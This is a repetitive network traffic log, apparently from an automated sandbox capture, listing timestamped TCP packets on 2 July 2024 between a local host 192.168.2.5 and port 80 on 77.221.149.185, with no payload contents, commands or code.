Jul 2, 2024 22:52:32.133203983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.133213997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.133224964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.133234978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.133272886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.133272886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.134561062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.134604931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.134614944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.134623051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.134663105 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.134706974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.134721994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.134732008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.134813070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.134828091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.134839058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.134850025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.134860992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.134871006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.134881020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.134903908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.134903908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.135055065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135065079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135076046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135090113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135099888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135123968 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.135123968 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.135153055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.135205984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135215998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135226965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135236979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135247946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135257959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135268927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135272980 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.135272980 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.135293961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.135426044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135442019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135452986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135462999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135493994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.135519981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.135559082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135570049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135581970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135591030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135602951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135624886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.135624886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.135647058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.135682106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135693073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135703087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135773897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135787010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135792971 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.135801077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135809898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135821104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135832071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.135843992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.135843992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.135864973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.153374910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153446913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153456926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153500080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153511047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153512001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.153522015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153532982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153552055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.153585911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153601885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.153691053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153702021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153714895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153726101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153736115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153744936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153754950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153757095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.153757095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.153793097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.153793097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.153826952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153909922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153920889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153930902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153939962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153949976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.153974056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.154000044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.154033899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.154172897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.154184103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.154194117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.154205084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.154215097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.154230118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.154241085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.154249907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.154258966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.154258966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.154292107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.154433966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.154443979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.154455900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.154465914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.154480934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.154491901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.154499054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.154520035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.154520035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.229736090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.229748011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.229757071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.229799032 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.229834080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.229844093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.229852915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.229862928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.229880095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.229906082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.229994059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230004072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230011940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230022907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230029106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.230032921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230042934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230052948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230053902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.230062008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230079889 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.230098963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.230278969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230288982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230298042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230307102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230314970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.230315924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230325937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230334997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230341911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.230345011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230360985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230362892 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.230370045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230379105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230380058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.230389118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230396986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.230401039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230422974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.230442047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.230690002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230699062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230707884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230721951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230732918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230741978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230746031 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.230751038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230770111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.230777979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.230957031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230968952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230978012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230987072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.230995893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231003046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.231004953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231017113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231028080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231029034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.231057882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.231098890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231110096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231118917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231142044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.231142998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231162071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231168032 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.231173038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231183052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231193066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231198072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.231201887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231211901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231219053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231221914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.231229067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231237888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231246948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231256008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.231256008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231266022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231275082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231275082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.231287956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231292009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.231297970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231309891 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.231332064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.231969118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231981039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231987000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231992006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.231997967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.232003927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.232017040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.232023001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.232029915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.232040882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.232045889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.232048035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.232057095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.232081890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.232105970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.242223978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242233992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242243052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242275953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242285967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242295980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242305994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242331028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.242351055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242352962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.242372990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242399931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.242438078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242448092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242455959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242481947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.242506981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.242548943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242562056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242573977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242582083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242599964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.242624044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.242641926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242650032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242686987 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.242718935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242728949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242738962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242748976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242758989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.242767096 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.242783070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.242854118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243041992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243078947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.243088007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243098021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243127108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243132114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.243138075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243145943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243155003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243175030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.243185997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.243262053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243273020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243282080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243310928 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.243324995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243331909 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.243391037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243400097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243410110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243419886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243428946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.243432999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.243448019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.243472099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.318722010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.318749905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.318761110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.318770885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.318782091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.318790913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.318795919 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.318800926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.318808079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.318808079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.318864107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.319017887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319029093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319036961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319046974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319056988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319067001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.319067955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319077969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319083929 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.319087029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319097996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319108009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319123030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.319153070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.319344997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319358110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319366932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319376945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319386959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319396019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.319396019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319405079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319415092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.319415092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319425106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319432020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.319434881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319444895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319448948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.319456100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319468975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.319502115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.319685936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319696903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319705963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319715023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319725990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.319735050 CEST	80	49712	77.221.149.185	192.168.2.5
